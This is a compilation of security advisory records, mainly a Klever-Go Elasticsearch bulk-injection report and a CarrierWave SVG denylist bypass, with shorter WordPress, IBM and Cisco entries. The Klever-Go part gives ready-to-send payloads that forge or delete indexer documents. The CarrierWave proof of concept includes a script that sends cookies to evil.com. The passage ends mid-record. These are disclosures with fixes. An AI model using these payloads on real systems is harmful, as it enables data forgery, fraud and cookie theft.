  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7C7C-373R-GFJJ

Vulnerability from github – Published: 2026-09-23 21:24 – Updated: 2026-09-23 21:24

Summary

Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery

Details

Component: Elasticsearch indexer (indexer/) Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688

Description

When the node indexes account updates to Elasticsearch, it builds the ES _bulk painless-script line by splicing the account's name directly into JSON with fmt.Sprintf("%s", ...) and no escaping:

// indexer/common.go:2395-2407  (serializedDataForUpdateAccounts)
serializedData := []byte(fmt.Sprintf(`{"script":{"source":"`+
    `ctx._source.name = params.name; ... `+
    `","lang": "painless","params":`+
    `{"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}`,
    acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...))   // acc.Name is RAW

acc.Name originates from on-chain account state: indexer/accountInfo.go:31 sets Name: string(userAccount.GetName()). An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the SetAccountName handler:

// core/kapp/accounts/accounts.go:1740
if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... }  // MaxNameSize = 100

The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote ("), backslash (\), and newline (\n) are all valid UTF-8 and are not rejected. The safe helper converters.JsonEscape() exists and is used for _id fields elsewhere in the same file (common.go:893, :932, :961) but is not applied to the name.

The resulting buffer is POSTed verbatim to Elasticsearch _bulk by elasticClient.DoBulkRequest (indexer/elasticClient.go:128), with the index in the URL. The _bulk body is NDJSON — newline-delimited action/source pairs (indexer/data/buffer.go:45 appends a \n after every entry). Therefore a name containing a quote and newlines can

inject arbitrary keys/structure into the document,
break the batch, and
inject entirely new bulk operations targeting other documents and other indices.

SetAccountName is a first-class transaction contract type (= 12) dispatched natively at txProcess.go:688 via SetAccountName(tx.GetSender(), tc). The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in KleverSetAccountName, but that path is not needed.)

The name is written into consensus account state (userAccount.SetName, data/state/userAccount.go:76) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (core/process/block/block.go:1141 SaveBlock / SaveAccounts). Consequently:

The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.
Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim.
The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode, cmd/node/startup.go:153), re-reads the name from state and re-fires the injection.

Escalation — from denial-of-indexing to arbitrary ES document CRUD

Elasticsearch _bulk fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a sacrificial action after the forged op, the serializer's fixed template tail (", "nonce":...}}}) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via {"index":{"_index":"...", "_id":"..."}}.

Deployment amplifier (default ES config)

The Elasticsearch config klever ships (docker/elasticsearch/elasticsearch.yml, docker/docker-compose.yml) sets xpack.security.enabled: false, network.host: 0.0.0.0, publishes 9200:9200, and CORS * with POST,PUT,DELETE. The node's default config/node/external.yaml connects with empty username/password. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.

POC

The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'

This submits contract type 12 (SetAccountNameContract) with:

Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}}

(84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e. base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)

{ "update": { "_index":"accounts", "_id":"<attacker>" } }
{"script":{ ... ,"params":{"name": ""}}}
{"index":{"_index":"transactions","_id":"t"}}    ← forged bulk action
{"status":"success"}                             ← forged doc → written to `transactions`
{"index":{}}", "nonce":1, ... }}}                ← sacrificial op absorbs the template tail

Observed result: a forged document {"status":"success"} with _id:"t" appears in the transactions index — the attacker never submitted any such transaction:

GET transactions/_doc/t

{ "found": true, "_source": { "status": "success" } }

Escalation variants — same delivery, only the `Name` changes

Each is a single SetAccountName tx sent the same way; only the payload differs.

Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'

Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'

Delete a document (e.g. proposal id 5; 61 bytes):

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'

Impact

A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch _bulk stream of every node that indexes the chain now or in the future. Two tiers of impact:

Denial-of-indexing A name containing a single " or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block.
Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (transactions, blocks, accounts, proposals, assets, marketplaces, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged status:success transaction).

Amplifiers: the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.

Recommendation

Escape the name . Never splice on-chain strings into JSON with fmt.Sprintf. Either apply the existing converters.JsonEscape() to acc.Name (mirror the _id handling), or preferably build the entire bulk source with json.Marshal of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every fmt.Sprintf-built bulk/script line in indexer/common.go for the same pattern (RootHash and other %s fields on this and nearby paths).
Restrict the on-chain account-name charset at SetAccountName (accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.

Severity

8.4 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-82409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T21:24:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Component:** Elasticsearch indexer (`indexer/`)\n**Primary location:** `indexer/common.go:2395-2407` (`serializedDataForUpdateAccounts`)\n**Entry point:** `SetAccountName` native transaction (contract type 12) \u2014 `core/process/transaction/txProcess.go:688`\n\n---\n\n## Description\n\nWhen the node indexes account updates to Elasticsearch, it builds the ES `_bulk` painless-script line by splicing the account\u0027s **name** directly into JSON with `fmt.Sprintf(\"%s\", ...)` and **no escaping**:\n\n```go\n// indexer/common.go:2395-2407  (serializedDataForUpdateAccounts)\nserializedData := []byte(fmt.Sprintf(`{\"script\":{\"source\":\"`+\n    `ctx._source.name = params.name; ... `+\n    `\",\"lang\": \"painless\",\"params\":`+\n    `{\"name\": \"%s\", \"nonce\": %d, \"rootHash\": \"%s\", \"balance\": %d, ...}}}`,\n    acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...))   // acc.Name is RAW\n```\n\n`acc.Name` originates from on-chain account state: `indexer/accountInfo.go:31` sets `Name: string(userAccount.GetName())`. An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the `SetAccountName` handler:\n\n```go\n// core/kapp/accounts/accounts.go:1740\nif !utf8.Valid(tc.GetName()) || len(tc.GetName()) \u003e core.MaxNameSize { ... }  // MaxNameSize = 100\n```\n\nThe only constraints are **valid UTF-8** and **length \u2264 100 bytes**. Double-quote (`\"`), backslash (`\\`), and newline (`\\n`) are all valid UTF-8 and are **not** rejected. The safe helper `converters.JsonEscape()` exists and is used for `_id` fields elsewhere in the same file (`common.go:893`, `:932`, `:961`) but is **not** applied to the name.\n\nThe resulting buffer is POSTed verbatim to Elasticsearch `_bulk` by `elasticClient.DoBulkRequest` (`indexer/elasticClient.go:128`), with the index in the URL. The `_bulk` body is NDJSON \u2014 newline-delimited action/source pairs (`indexer/data/buffer.go:45` appends a `\\n` after every entry). Therefore a name containing a quote and newlines can \n\n- inject arbitrary keys/structure into the document, \n- break the batch, and \n- inject entirely new bulk operations targeting **other** documents and **other** indices.\n\n`SetAccountName` is a first-class transaction contract type (`= 12`) dispatched natively at `txProcess.go:688` via `SetAccountName(tx.GetSender(), tc)`. The attacker names **their own** account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in `KleverSetAccountName`, but that path is not needed.)\n\nThe name is written into consensus account state (`userAccount.SetName`, `data/state/userAccount.go:76`) and replicated to all nodes. The indexer reads it from **state**, not from the transaction, during each node\u0027s own block processing (`core/process/block/block.go:1141` `SaveBlock` / `SaveAccounts`). Consequently:\n\n- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.\n- Indexers typically run on **observer/gateway** nodes that power the public explorer/API \u2014 exactly the realistic victim.\n- The payload is **durable and replayable**: a newly stood-up indexer, or a historical re-index (import-DB mode, `cmd/node/startup.go:153`), re-reads the name from state and re-fires the injection.\n\n### Escalation \u2014 from denial-of-indexing to arbitrary ES document CRUD\n\nElasticsearch `_bulk` fails a malformed line differently by position: malformed **action** line \u2192 whole-batch HTTP 400 (nothing applies); malformed **source** line \u2192 **per-item** error (other items still apply). By appending a *sacrificial* action after the forged op, the serializer\u0027s fixed template tail (`\", \"nonce\":...}}}`) lands in a source position (item-level error), so a clean forged op that precedes it is **applied**. This yields arbitrary create / overwrite / delete of documents in **any** index the indexer\u0027s ES credentials can write \u2014 cross-index via `{\"index\":{\"_index\":\"...\", \"_id\":\"...\"}}`.\n\n### Deployment amplifier (default ES config)\n\nThe Elasticsearch config klever ships (`docker/elasticsearch/elasticsearch.yml`, `docker/docker-compose.yml`) sets `xpack.security.enabled: false`, `network.host: 0.0.0.0`, publishes `9200:9200`, and CORS `*` with `POST,PUT,DELETE`. The node\u0027s default `config/node/external.yaml` connects with empty `username`/`password`. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, **this injection is the remote bridge** that reaches that private ES through the node\u0027s own trusted connection.\n\n---\n\n## POC\n\nThe entire attack is a **single `SetAccountName` transaction** the attacker sends from any funded account, naming its **own** account with a crafted payload. \n\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n  $\u0027\"}}}\\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}\\n{\"status\":\"success\"}\\n{\"index\":{}}\u0027\n```\n\nThis submits contract type 12 (`SetAccountNameContract`) with:\n\n```\nName = \"}}}\u23ce{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}\u23ce{\"status\":\"success\"}\u23ce{\"index\":{}}\n```\n(84 bytes \u2264 MaxNameSize 100; `\u23ce` = literal `\\n`. On-chain `Name` is `[]byte`, i.e.\nbase64 `In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319`.)\n\n\n```\n{ \"update\": { \"_index\":\"accounts\", \"_id\":\"\u003cattacker\u003e\" } }\n{\"script\":{ ... ,\"params\":{\"name\": \"\"}}}\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}    \u2190 forged bulk action\n{\"status\":\"success\"}                             \u2190 forged doc \u2192 written to `transactions`\n{\"index\":{}}\", \"nonce\":1, ... }}}                \u2190 sacrificial op absorbs the template tail\n```\n\n**Observed result:** a forged document `{\"status\":\"success\"}` with `_id:\"t\"` appears in the `transactions` index \u2014 the attacker never submitted any such transaction:\n\n```\nGET transactions/_doc/t\n\n{ \"found\": true, \"_source\": { \"status\": \"success\" } }\n```\n\n### Escalation variants \u2014 same delivery, only the `Name` changes\n\nEach is a single `SetAccountName` tx sent the same way; only the payload differs.\n\n**Denial-of-indexing** (2-byte name \u2014 breaks the batch, drops every co-batched account update):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \u0027x\"\u0027\n```\n\n**Cross-index write / forge a document** (e.g. a governance proposal doc; 82 bytes):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n  $\u0027\"}}}\\n{\"index\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"status\":\"approved\"}\\n{\"index\":{}}\u0027\n```\n\n**Delete a document** (e.g. proposal id 5; 61 bytes):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n  $\u0027\"}}}\\n{\"delete\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"index\":{}}\u0027\n```\n\n\n\n---\n\n## Impact\n\nA single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch `_bulk` stream of **every node that indexes the chain** now or in the future. Two tiers of impact:\n\n1. **Denial-of-indexing** A name containing a single `\"` or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account\u0027s balance/name/nonce update is silently **dropped** \u2192 the explorer/API serves **stale** data. Repeatable every block.\n\n2. **Arbitrary document CRUD across all indexer indices (escalation).** Using the sacrificial-op construction, the attacker can **create/overwrite/delete** documents in any klever index the indexer writes (`transactions`, `blocks`, `accounts`, `proposals`, `assets`, `marketplaces`, ...): forge \"successful\" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data  can be fed fabricated records, enabling fraud (e.g. a forged `status:success` transaction).\n\n**Amplifiers:** the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.\n\n\n---\n\n## Recommendation\n\n1. **Escape the name .** Never splice on-chain strings into JSON with `fmt.Sprintf`. Either apply the existing `converters.JsonEscape()` to `acc.Name` (mirror the `_id` handling), or preferably  build the entire bulk source with `json.Marshal` of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every `fmt.Sprintf`-built bulk/script line in `indexer/common.go` for the same pattern (RootHash and other `%s` fields on this and nearby paths).\n\n2. **Restrict the on-chain account-name charset** at `SetAccountName` (`accounts.go:1740`)  reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.",
  "id": "GHSA-7c7c-373r-gfjj",
  "modified": "2026-09-23T21:24:06Z",
  "published": "2026-09-23T21:24:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -\u003e explorer/indexer data forgery"
}

GHSA-7C99-6MGQ-969F

Vulnerability from github – Published: 2022-02-02 00:01 – Updated: 2023-06-26 21:30

Details

The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2022-0220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-01T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an \"application/json\" content-type. Since an HTML payload isn\u0027t properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim\u0027s browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)",
  "id": "GHSA-7c99-6mgq-969f",
  "modified": "2023-06-26T21:30:55Z",
  "published": "2022-02-02T00:01:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0220"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7CHF-CHRH-74Q7

Vulnerability from github – Published: 2024-03-26 15:30 – Updated: 2024-03-26 15:30

Details

IBM App Connect Enterprise 11.0.0.1 through 11.0.0.23, 12.0.1.0 through 12.0.9.0 and IBM Integration Bus for z/OS 10.1 through 10.1.0.2store potentially sensitive information in log or trace files that could be read by a privileged user. IBM X-Force ID: 280893.

Severity

4.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-22356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-117"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-26T15:15:48Z",
    "severity": "MODERATE"
  },
  "details": "IBM App Connect Enterprise 11.0.0.1 through 11.0.0.23, 12.0.1.0 through 12.0.9.0 and IBM Integration Bus for z/OS 10.1 through 10.1.0.2store potentially sensitive information in log or trace files that could be read by a privileged user.  IBM X-Force ID:  280893.",
  "id": "GHSA-7chf-chrh-74q7",
  "modified": "2024-03-26T15:30:51Z",
  "published": "2024-03-26T15:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22356"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/280893"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7145144"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FGX-H5GW-66X7

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42

Details

A vulnerability in Cisco NX-OS System Software running on Cisco MDS Multilayer Director Switches, Cisco Nexus 7000 Series Switches, and Cisco Nexus 7700 Series Switches could allow an authenticated, local attacker to access the Bash shell of an affected device's operating system, even if the Bash shell is disabled on the system. The vulnerability is due to insufficient sanitization of user-supplied parameters that are passed to certain functions of the Python scripting sandbox of the affected system. An attacker could exploit this vulnerability to escape the scripting sandbox and enter the Bash shell of the operating system with the privileges of the authenticated user for the affected system. To exploit this vulnerability, the attacker must have local access to the affected system and be authenticated to the affected system with administrative or Python execution privileges. Cisco Bug IDs: CSCvd86513.

Severity

4.2 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2017-12340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-30T09:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Cisco NX-OS System Software running on Cisco MDS Multilayer Director Switches, Cisco Nexus 7000 Series Switches, and Cisco Nexus 7700 Series Switches could allow an authenticated, local attacker to access the Bash shell of an affected device\u0027s operating system, even if the Bash shell is disabled on the system. The vulnerability is due to insufficient sanitization of user-supplied parameters that are passed to certain functions of the Python scripting sandbox of the affected system. An attacker could exploit this vulnerability to escape the scripting sandbox and enter the Bash shell of the operating system with the privileges of the authenticated user for the affected system. To exploit this vulnerability, the attacker must have local access to the affected system and be authenticated to the affected system with administrative or Python execution privileges. Cisco Bug IDs: CSCvd86513.",
  "id": "GHSA-7fgx-h5gw-66x7",
  "modified": "2022-05-13T01:42:39Z",
  "published": "2022-05-13T01:42:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12340"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20171129-switch"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102069"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G26-2QGJ-CHFG

Vulnerability from github – Published: 2026-05-27 00:03 – Updated: 2026-07-08 17:39

Summary

CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters

Details

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "carrierwave"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.beta"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "carrierwave"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:03:11Z",
    "nvd_published_at": "2026-06-17T13:20:40Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nCarrierWave\u0027s content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn\u0027t denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e\u0027 \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": 